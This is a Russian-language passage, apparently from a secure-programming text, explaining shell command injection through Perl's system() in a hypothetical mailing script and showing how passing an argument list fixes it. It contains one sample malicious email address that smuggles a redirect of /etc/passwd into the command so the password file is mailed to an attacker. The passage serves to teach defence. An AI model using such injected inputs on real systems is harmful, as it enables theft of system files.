Как отмечалось ранее данный сценарий гипотетически используется, например, при новостной рассылке в которой указывается доступная цена на акустику . Этот сценарий содержит брешь в защите. Злонамеренная личность, желающая воспользоваться этой брешью, может передать примерно такой адрес электронной почты:
badguy@hackers.com </etc/passwd; cat >/dev/null
В результате функция system () выполнит следующую строку команды.
Поскольку функция system () для выполнения своей работы вызывает субинтерпретатор (командный интерпретатор типа /bin/sh), учитываются все метасимволы командного интерпретатора, включая точки с запятой и символы перенаправления. Вместо выполнения действия, задуманного изначально, эта команда отправит весь файл паролей системы по указанному почтовому адресу.
Такую ошибку допустить очень легко. Одним из способов ее предотвращения является передача функциям system () и exec() списка параметров, а не всей команды вместе с параметрами в виде одной строки. При передаче этим функциям списка параметров команда выполняется непосредственно, а не через командный интерпретатор. В результате метасимволы командного интерпретатора игнорируются. Например, только что приведенный фрагмент кода можно сделать более безопасным, заменив указанный выше вызов следующим:
chomp($email = <$sock>); open STDIN,"Mail_Message.txt"; system "/bin/mail",$email;
Теперь функция system () вызывается с использованием двух отдельных параметров, состоящих из имени команды и адреса электронной почты. Перед вызовом функции system() дескриптор STDIN переоткрывается в желаемое почтовое сообщение так, чтобы его унаследовала почтовая программа.